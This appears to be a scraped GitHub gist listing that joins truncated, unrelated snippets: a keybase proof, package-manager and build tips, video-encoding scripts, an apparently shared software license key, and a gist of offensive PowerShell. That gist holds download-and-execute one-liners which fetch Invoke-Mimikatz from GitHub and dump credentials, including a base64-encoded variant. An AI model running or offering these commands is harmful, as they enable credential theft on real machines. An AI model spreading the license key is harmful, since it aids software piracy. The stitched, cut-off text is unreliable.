I hereby claim:
- I am clem16 on github.
- I am cmorton (https://keybase.io/cmorton) on keybase.
- I have a public key whose fingerprint is E37F A26C A51A 749B 30FE 0A3A 3AF4 1EDD 8984 4008
To claim this, I am signing this object:
curl -L -v --data "username=<username>@shaw.ca&password=<password>&acpt=on&language=en" https://wifisignon.shaw.ca/api/login |
I hereby claim:
To claim this, I am signing this object:
I use the first | |
—– BEGIN LICENSE —– | |
Michael Barnes | |
Single User License | |
EA7E-821385 | |
8A353C41 872A0D5C DF9B2950 AFF6F667 | |
C458EA6D 8EA3C286 98D1D650 131A97AB | |
AA919AEC EF20E143 B361B1E7 4C8B7F04 |
# put all explicitly installed packages (minus AUR) into a file | |
# can be run as user | |
pacman -Qqe | grep -Fvx "$(pacman -Qqm)" > ./file | |
# reinstall from said file (deps will be pulled in automatically) | |
# must run as root | |
xargs pacman -S --needed --noconfirm < ./file | |
# Source: https://bbs.archlinux.org/viewtopic.php?id=94308 |
Source: https://stackoverflow.com/questions/1704907/how-can-i-get-my-c-code-to-automatically-print-out-its-git-version-hash | |
# Shamelessly Copied and stored here in a Gist for easy access. | |
If you are using a make-based build, you can put this in the Makefile: | |
`GIT_VERSION := $(shell git describe --abbrev=4 --dirty --always --tags)` | |
(See http://www.kernel.org/pub/software/scm/git/docs/git-describe.html for what the switches do) | |
then add this to your CFLAGS: | |
`-DVERSION=\"$(GIT_VERSION)\"` |
# XCode Command Line Tools | |
>xcode-select --install | |
# Install Homebrew | |
>ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" | |
>echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile | |
>source ~/.bash_profile | |
>brew tap homebrew/versions |
*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!* | |
#mimikatz | |
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m | |
#encoded-mimikatz | |
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== | |
#mimikittenz | |
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master |
#!/usr/bin/env ruby | |
# encoding: utf-8 | |
# x264 presets guide : https://forum.handbrake.fr/viewtopic.php?f=6&t=19426 | |
X264 = "b-adapt=2:rc-lookahead=50:me=umh:bframes=5:ref=6:direct=auto:trellis=2:subq=10:psy-rd=1.0,0.10:analyse=all" | |
FORMAT = "--optimize --format mp4" | |
QUALITY = "--ab 64 --mixdown mono --quality 23 -e x264 -x '#{X264}'" | |
SIZE = "--width 1280 --height 720" | |
ARGV.each do |param| |
#!/bin/sh | |
# (Source: https://askubuntu.com/questions/45927/how-to-find-out-what-codec-is-being-used-in-a-video) | |
# This is a wrapper around the -identify functionality. | |
# It is supposed to escape the output properly, so it can be easily | |
# used in shellscripts by 'eval'ing the output of this script. | |
# | |
# Written by Tobias Diedrich <ranma+mplayer@tdiedrich.de> | |
# Licensed under GNU GPL. | |
if [ -z "$1" ]; then |